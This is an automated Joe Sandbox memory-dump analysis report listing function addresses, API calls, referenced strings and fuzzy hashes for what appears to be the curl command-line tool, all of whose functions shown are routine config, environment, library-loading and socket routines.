free.MSVCRT ref: 00D12F64

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: a60dbbbe6f5fb130c621e96d48241f47b17249f92014bf455ed0e5069ee8bced
Instruction ID: ef11eca868fc6d13f801c60eaef9a32ce8d76b657e619caa4ac15b12e66c87da
Opcode Fuzzy Hash: a60dbbbe6f5fb130c621e96d48241f47b17249f92014bf455ed0e5069ee8bced
Instruction Fuzzy Hash: 09F18AF1801B409BFF31AF25DD06787FAE1AF10304F244939E4AE15261E77AB528EB56

Function 00D1F390 Relevance: 58.2, APIs: 26, Strings: 7, Instructions: 487
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strlen.MSVCRT ref: 00D1F3D4
fopen.MSVCRT ref: 00D1F414
fclose.MSVCRT ref: 00D1F421
free.MSVCRT ref: 00D1F49A
strcmp.MSVCRT ref: 00D1F4AA
fopen.MSVCRT ref: 00D1F4BC
fgets.MSVCRT ref: 00D1F527
strlen.MSVCRT ref: 00D1F538
strlen.MSVCRT ref: 00D1F545
realloc.MSVCRT ref: 00D1F553
strcpy.MSVCRT(00000000,?), ref: 00D1F56B

Strings

-, xrefs: 00D1F663
%s%s, xrefs: 00D1F488
%s:%d: warning: '%s' %s, xrefs: 00D1F817
%s%s%s, xrefs: 00D1F3FB
<stdin>, xrefs: 00D1F7F3
_curlrc, xrefs: 00D1F3DC, 00D1F3F0, 00D1F42D, 00D1F47E, 00D1F4A9, 00D1F4BB
%s:%d: warning: '%s' uses unquoted white space in the line that may cause side-effects!, xrefs: 00D1F90E

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strlen$fopen$fclosefgetsfreereallocstrcmpstrcpy
String ID: %s%s$%s%s%s$%s:%d: warning: '%s' %s$%s:%d: warning: '%s' uses unquoted white space in the line that may cause side-effects!$-$<stdin>$_curlrc
API String ID: 595318844-3017759249
Opcode ID: 9203d0fd47c5c99489ce19a809bc98d1565350cc92064e0f301f2edfa6137202
Instruction ID: 0cf938ef941b915d992195ac6eeb380b740b4e72ec9c8f6923c1a1e4b516765f
Opcode Fuzzy Hash: 9203d0fd47c5c99489ce19a809bc98d1565350cc92064e0f301f2edfa6137202
Instruction Fuzzy Hash: 75E114F1A08341BBEB21AB24BC817FB77D59F41304F1C0479E8868B252EA75DA85D673

Function 00D163E5 Relevance: 51.1, APIs: 26, Strings: 3, Instructions: 366
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strchr.MSVCRT ref: 00D16408
strchr.MSVCRT ref: 00D16417
strcmp.MSVCRT ref: 00D1643D
fopen.MSVCRT ref: 00D16453
strcmp.MSVCRT ref: 00D168F9
fopen.MSVCRT ref: 00D16912
_strdup.MSVCRT(00FA43F6), ref: 00D16F57
fclose.MSVCRT ref: 00D16FBD
_strdup.MSVCRT(00000001), ref: 00D16FD9
strlen.MSVCRT ref: 00D16FF0
free.MSVCRT ref: 00D17053
strlen.MSVCRT ref: 00D17075
malloc.MSVCRT ref: 00D17086
malloc.MSVCRT ref: 00D17126
memcpy.MSVCRT(00000000,?,?), ref: 00D17141
memcpy.MSVCRT(00000001,?,?), ref: 00D1715F
free.MSVCRT ref: 00D17173

Strings

Couldn't read data from file "%s", this makes an empty POST., xrefs: 00D16927, 00D17001
%.*s=%s, xrefs: 00D170A8
b, xrefs: 00D16EDB

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: _strdupfopenfreemallocmemcpystrchrstrcmpstrlen$fclose
String ID: %.*s=%s$Couldn't read data from file "%s", this makes an empty POST.$b
API String ID: 3267589696-3773282534
Opcode ID: 939e0e316a051c32f57c9952dcc81f50d6f778eafb3a29c29ef9c181913a1fbb
Instruction ID: ad776b791d131eb1fb3b33a95d1a775eefd77a5167a4b87389c0e563b7f20678
Opcode Fuzzy Hash: 939e0e316a051c32f57c9952dcc81f50d6f778eafb3a29c29ef9c181913a1fbb
Instruction Fuzzy Hash: 85C1B2F2D083417BEB11EF24AC42B9B7AA4AF90344F180829F84597251EF36D995D7B3

Function 00D31990 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 94
librarystringloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32,00000002,?,00000003,?,00D2C0D5,security.dll,?,00000002,00D23B35), ref: 00D31999
GetProcAddress.KERNEL32(00000000,LoadLibraryExA), ref: 00D319B5
strpbrk.MSVCRT ref: 00D319C3
GetProcAddress.KERNEL32(00000000,AddDllDirectory), ref: 00D319E1
LoadLibraryExA.KERNELBASE(?,00000000,00000800,?,00000002,00D23B35), ref: 00D319F3
LoadLibraryA.KERNEL32(?,00D2C0D5,security.dll,?,00000002,00D23B35), ref: 00D319FB
GetSystemDirectoryA.KERNEL32(00000000,00000000), ref: 00D31A0A
strlen.MSVCRT ref: 00D31A1A
GetSystemDirectoryA.KERNEL32(00000000,00000000), ref: 00D31A3A
strlen.MSVCRT ref: 00D31A45
strlen.MSVCRT ref: 00D31A54
strcpy.MSVCRT(00000000,?,?,?,?,?,?,?,?,00000002,00D23B35), ref: 00D31A65
LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000002,00D23B35), ref: 00D31A7B

Strings

kernel32, xrefs: 00D31994
LoadLibraryExA, xrefs: 00D319AF
AddDllDirectory, xrefs: 00D319DB

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: LibraryLoadstrlen$AddressDirectoryProcSystem$HandleModulestrcpystrpbrk
String ID: AddDllDirectory$LoadLibraryExA$kernel32
API String ID: 1231326539-3327535076
Opcode ID: 7646aa8b7809d859c317495916977744b7c3920cd6f43d1775f54c0d99404248
Instruction ID: 36b5dfc6b4de6590100a78e603cb06351741527712dc7438a27fa34a8411f801
Opcode Fuzzy Hash: 7646aa8b7809d859c317495916977744b7c3920cd6f43d1775f54c0d99404248
Instruction Fuzzy Hash: E921F5B6A413026BFA20AB317C45F2B795C9F44B46F180530FD4BD5192EA6ADC099772

Function 00D24700 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 148
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT(?,?,0000002E), ref: 00D24747
getpeername.WS2_32(?,?,00000080), ref: 00D247CF
WSAGetLastError.WS2_32 ref: 00D247D9
getsockname.WS2_32(?,?,00000080), ref: 00D24814
WSAGetLastError.WS2_32 ref: 00D2481E
memcpy.MSVCRT(?,?,0000002E), ref: 00D2486E
_errno.MSVCRT ref: 00D248A2
_errno.MSVCRT ref: 00D248C7

Strings

getpeername() failed with errno %d: %s, xrefs: 00D247ED
getsockname() failed with errno %d: %s, xrefs: 00D24832
ssloc inet_ntop() failed with errno %d: %s, xrefs: 00D248DC
ssrem inet_ntop() failed with errno %d: %s, xrefs: 00D248B7

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: ErrorLast_errnomemcpy$getpeernamegetsockname
String ID: getpeername() failed with errno %d: %s$getsockname() failed with errno %d: %s$ssloc inet_ntop() failed with errno %d: %s$ssrem inet_ntop() failed with errno %d: %s
API String ID: 4028824192-670633250
Opcode ID: bd59c59e12f9c6f1c5bb356073a045eb5073998f3fe46d9c7eb05a8e5d9c8181
Instruction ID: 83b5c0de98181be1f72389bf772582e3144b136e3be4de7d788a5eb25e9ba84e
Opcode Fuzzy Hash: bd59c59e12f9c6f1c5bb356073a045eb5073998f3fe46d9c7eb05a8e5d9c8181
Instruction Fuzzy Hash: CC517D75500214AFDB10DF10EC95EE677ADEFAA308F0840B9FD498B256E771A905CB72

Function 00D196B0 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentVariableA.KERNELBASE(CURL_HOME,?,00000400), ref: 00D196C4
_strdup.MSVCRT(?,?,00000400), ref: 00D196DA
GetEnvironmentVariableA.KERNEL32(HOME,?,00000400,?,00000400), ref: 00D196F1
_strdup.MSVCRT(?,?,00000400,?,00000400), ref: 00D19707

Strings

%USERPROFILE%\Application Data, xrefs: 00D19726
CURL_HOME, xrefs: 00D196BF
APPDATA, xrefs: 00D19713
HOME, xrefs: 00D196EC

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: EnvironmentVariable_strdup
String ID: %USERPROFILE%\Application Data$APPDATA$CURL_HOME$HOME
API String ID: 3075022039-734137483
Opcode ID: a111fb4d6b1895293eeeb71eceae9e5172f80f48bc9623093a92ee889c8cbe12
Instruction ID: 322ed1df2eae1d8b96ffea4ccd06868db276503555b1d52d24a0a40e474fb2f1
Opcode Fuzzy Hash: a111fb4d6b1895293eeeb71eceae9e5172f80f48bc9623093a92ee889c8cbe12
Instruction Fuzzy Hash: D3F04FA0A481112BEB313A2179367EAB9148F52794F180430EA899A1C7ED9589C3D2FB

Function 00D19A20 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 68
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetConsoleMode.KERNELBASE(00000003), ref: 00D19A2F
malloc.MSVCRT ref: 00D19A59

Part of subcall function 00D19DE0: fwrite.MSVCRT ref: 00D19E00

free.MSVCRT ref: 00D19AD8
strcmp.MSVCRT ref: 00D19AF0
SetConsoleMode.KERNELBASE ref: 00D19B69

Strings

error initializing curl library, xrefs: 00D19A88
--dump-module-paths, xrefs: 00D19AE8

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: ConsoleMode$freefwritemallocstrcmp
String ID: --dump-module-paths$error initializing curl library
API String ID: 106277626-1789877276
Opcode ID: 43c8e15810377ad617e41674047afb83e533a56bb48eda2eb68fc6715d4b9f79
Instruction ID: a0627b8b357fbf9867cdc8b3fbd127033bfacce8ff71b660cf8a412c660d4616
Opcode Fuzzy Hash: 43c8e15810377ad617e41674047afb83e533a56bb48eda2eb68fc6715d4b9f79
Instruction Fuzzy Hash: 5A11E4F1E003056BFF00AB60BC626AEB765EF80354F180030F909A6251EE36DE54C7B2

Function 00D191C0 Relevance: 12.1, APIs: 3, Strings: 5, Instructions: 146
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.MSVCRT ref: 00D19211
malloc.MSVCRT ref: 00D1926D
strcmp.MSVCRT ref: 00D19353

Strings

%s, xrefs: 00D19378
-, xrefs: 00D19201
option %s: %s, xrefs: 00D19361
--url, xrefs: 00D192DB
n, xrefs: 00D1936D

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strcmp$malloc
String ID: %s$-$--url$option %s: %s$n
API String ID: 2681023970-2553401801
Opcode ID: 7943ee87553e70adfbb8917967f1fd52dc3f4762a5e2e538de2b8cf50388344b
Instruction ID: 4554013be20c35df3a1472307385a0bd519473b1c27dba688e511963ab57be67
Opcode Fuzzy Hash: 7943ee87553e70adfbb8917967f1fd52dc3f4762a5e2e538de2b8cf50388344b
Instruction Fuzzy Hash: 3E41E771A04601BBD7219B24E8B1EABF7E8FF85704F490519F85897251EB31ED80D7B2

Function 00D1E7E0 Relevance: 12.1, APIs: 8, Instructions: 81
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fgets.MSVCRT ref: 00D1E809
strchr.MSVCRT ref: 00D1E823
strchr.MSVCRT ref: 00D1E835
strlen.MSVCRT ref: 00D1E845
realloc.MSVCRT ref: 00D1E855
strcpy.MSVCRT(00000000), ref: 00D1E86B
fgets.MSVCRT ref: 00D1E880
free.MSVCRT ref: 00D1E8AB

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: fgetsstrchr$freereallocstrcpystrlen
String ID:
API String ID: 606539986-0
Opcode ID: 4d5e52e0035bb676311aa50db286969b0c753409b26ce017258fc80420ecdfe7
Instruction ID: 34ac8cf162b4180a604efbc12faaed8eca0e690d17072995970a9a19ee372c81
Opcode Fuzzy Hash: 4d5e52e0035bb676311aa50db286969b0c753409b26ce017258fc80420ecdfe7
Instruction Fuzzy Hash: BD11B6B2E0420427FA266625BD02BEB3A898FC6345F290038FD4886281FE59D985D1B7

Function 00D1125B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 92
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 00D112E2
strlen.MSVCRT ref: 00D1131B
malloc.MSVCRT ref: 00D11326
memcpy.MSVCRT ref: 00D1133C
_cexit.MSVCRT ref: 00D113A8

Strings

!c(, xrefs: 00D1135A

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: malloc$_cexitmemcpystrlen
String ID: !c(
API String ID: 701060287-1773518143
Opcode ID: 1a3a805a86d61a6212a2b0e5f47427ba6905c3d601726144ccc63983f1045416
Instruction ID: 7c71206c3446ab89d609bf9508b0029d9ecc6b615a6d6c784602b9473b98f1ef
Opcode Fuzzy Hash: 1a3a805a86d61a6212a2b0e5f47427ba6905c3d601726144ccc63983f1045416
Instruction Fuzzy Hash: 8E317CB9A04304EFEF24DFA4E482799B7E1FB84300F14442EEA84D7315E77AA884DB51

Function 00D11296 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81stringCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00D112E2
strlen.MSVCRT ref: 00D1131B
malloc.MSVCRT ref: 00D11326
memcpy.MSVCRT ref: 00D1133C
_cexit.MSVCRT ref: 00D113A8

Strings

!c(, xrefs: 00D1135A

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: malloc$_cexitmemcpystrlen
String ID: !c(
API String ID: 701060287-1773518143
Opcode ID: 4573c66c1aeef220a318b12ac5a529c697915e990f892ebf64823d9e0f93b4e8
Instruction ID: 5f136db4a9520ec9b12735544f8e3f9f3a100fffab4c2921e0e2e31df1a40a6b
Opcode Fuzzy Hash: 4573c66c1aeef220a318b12ac5a529c697915e990f892ebf64823d9e0f93b4e8
Instruction Fuzzy Hash: 7B3159B5A04344DFEF20DF64E481789B7F0FB88300F14452AE98897315E779A945DF91

Function 00D11286 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00D112E2
strlen.MSVCRT ref: 00D1131B
malloc.MSVCRT ref: 00D11326
memcpy.MSVCRT ref: 00D1133C
_cexit.MSVCRT ref: 00D113A8

Strings

!c(, xrefs: 00D1135A

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: malloc$_cexitmemcpystrlen
String ID: !c(
API String ID: 701060287-1773518143
Opcode ID: 8e035664f6fb8d0c5a9243d38962c84922eea974e44b72ed83177d5cd6e1d429
Instruction ID: 0278555f2370cdad1f2c36e9285a904d3a8bb113701f829aaeeef9343d73525e
Opcode Fuzzy Hash: 8e035664f6fb8d0c5a9243d38962c84922eea974e44b72ed83177d5cd6e1d429
Instruction Fuzzy Hash: 523137B5A04341DFEF20DFA4E581689B7F0FB88300F14852AE98897315E779A945DF91

Function 00D122E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 94stringCOMMON

Download Yara Rule

APIs

strtol.MSVCRT ref: 00D1237B
strlen.MSVCRT ref: 00D1238D
GetStdHandle.KERNEL32(000000F4), ref: 00D123C9
GetConsoleScreenBufferInfo.KERNELBASE(00000000), ref: 00D123D8

Strings

COLUMNS, xrefs: 00D12362

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: BufferConsoleHandleInfoScreenstrlenstrtol
String ID: COLUMNS
API String ID: 4155930958-2475376301
Opcode ID: 7f04ff6ae01c7ff4d99363401d3848e05aad4e9f2181b138a80e32a4c839864a
Instruction ID: 5627c75a34c62e7550642d836f7a64d19570d8bc20f3f74b3ee014e6f9a94e23
Opcode Fuzzy Hash: 7f04ff6ae01c7ff4d99363401d3848e05aad4e9f2181b138a80e32a4c839864a
Instruction Fuzzy Hash: 9D3130B0604200ABEB049F14E8D97AB7BE4FB54318F14415DEC548F386D77AD9A4CBE2

Function 00D19ABC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D19DE0: fwrite.MSVCRT ref: 00D19E00

free.MSVCRT ref: 00D19AD8
strcmp.MSVCRT ref: 00D19AF0
SetConsoleMode.KERNELBASE ref: 00D19B69

Strings

error retrieving curl library information, xrefs: 00D19AC9
--dump-module-paths, xrefs: 00D19AE8

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
